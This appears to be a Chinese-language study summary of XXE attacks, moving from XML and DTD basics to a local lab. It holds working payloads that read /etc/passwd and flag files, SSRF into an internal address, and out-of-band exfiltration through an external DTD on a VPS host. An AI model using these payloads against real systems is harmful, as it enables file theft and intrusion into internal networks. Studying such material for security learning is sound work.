XXE学习总结
前言-关于XML
概念
XML(数据读取)是一种标记语言,用于存储和传输数据,标签无意义。
语法
1、标签没有功能性
2、xml标签必须闭合,层次分明,嵌套正确,对大小写敏感
3、xml文档必须有根元素
4、头声明可有可无
5、实体引用规则

1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <root> <man> <name>zhangsan</name> <sex>男</sex> </man> </root>
|
使用php解析xml
simplexml_load_file()读取
1 2 3 4
| <?php $xml=simplexml_load_file("1.xml"); print_r($xml); echo $xml->man[0]-name
|
DOMDocument读取
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $doc=new DOMDocument(); $str='<?xml version="1.0" encoding="utf-8"?> <root> <man><name>张三</name><age>2000</age> </man> <man><name>李四</name><age>2021</age> </man> </root>'; $doc->loadxml($str); print_r($doc->saveXML()); ?>
|
DTD声明介绍
DID(文档类型定义)用来定义我们自己定义的标记的含义。
DTD可被成行地声明于XML文档中,也可作为外部引用。
1
| !DOCTYPE 定义约束 !ELEMENT 定义元素 !NOTATION 定义符号 !ENETITY 定义实体
|
DOCTYPE格式:
内部引入实体
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY company "OpenAI"> ]> <data> <name>&company;</name> </data>
|
外部引入实体
1
| <!DOCTYPE root SYSTEM "1.dtd">
|
XML实体介绍
实体ENTITY是一种替换机制,用来在文档中引用外部或内部的内容。
1、内部通用实体
1 2
| <!ENTITY compangy "OpenAI"> <data>&file;</data>
|
2、外部通用实体
1 2
| <!ENTITY file SYSTEM "file:///etc/passwd"> <data>&file;</data>
|
3、参数实体(参数实体只能在DTD中使用,以%开头。)
1 2
| <!ENTITY % external SYSTEM "file:///etc/passwd"> %external;>
|
4、未解析实体
这种实体用于引用非 XML 数据(如图片或二进制文件)。
它们不会被解析器直接加载,而是用于告诉应用程序”这里有个外部二进制资源”。
1
| <!ENTITY img SYSTEM "photo.jpg" NDATA jpg>
|
XXE漏洞利用
POC
1 2 3 4 5 6
| <!DOCTYPE root [<!ENTITY ben SYSTEM "file:///etc/passwd">]> <root> <admin> &ben; </admin> </root>
|
使用外部实体检索文件
1、查看源代码发现POST提交的数据会被解析为XML格式

2、bp抓包也能发现

3、随后通过外部实体利用php伪协议读取
1 2 3 4 5 6 7 8
| <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///E:/phpstudy_pro/WWW/xxe-lab/php_xxe/flag.txt" > #确保读取文件为绝对路径 ]> <user><username> &file; </username><password> &file; </password></user>
|

参数实体和http协议利用
如果不允许进行file伪协议读取,那如何读取呢

首先在vps起一个dtd

确保可以正常访问

随后编写poc
1 2 3 4 5 6
| <!DOCTYPE note [<!ENTITY % dazhuang SYSTEM "http://47.96.99.165/1.dtd" > %dazhuang;]> <user><username> &file; </username><password> &file; </password></user>
|

最终发现成功读取
XXE实现SSRF
利用http伪协议访问内网
1 2 3 4 5 6 7 8
| <!DOCTYPE note [ <!ENTITY file SYSTEM "http://10.1.2.3/" > #确保读取文件为绝对路径 ]> <user><username> &file; </username><password> &file; </password></user>
|
php伪协议读取源代码
有时候读取源代码没有回显,可以采用php伪协议base64编码读取
1 2 3 4 5 6 7 8
| <!DOCTYPE note [ <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=http://10.1.2.3/?cmd=cat+index.php" > ]> <user><username> &file; </username><password> &file; </password></user>
|
无回显XXE外带数据

在vps上起一个web服务
写好外部DTD

起web服务

监听7777端口

随后bp挂载POC
1 2 3 4 5 6
| <!DOCTYPE note [<!ENTITY % dazhuang SYSTEM "http://47.96.99.165/1.dtd" > %dazhuang; %int; %send;]> <user><username> admin </username><password> password </password></user>
|
最终发现vps成功得到回显

svg文件上传实现XXE
poc
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///flag" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
|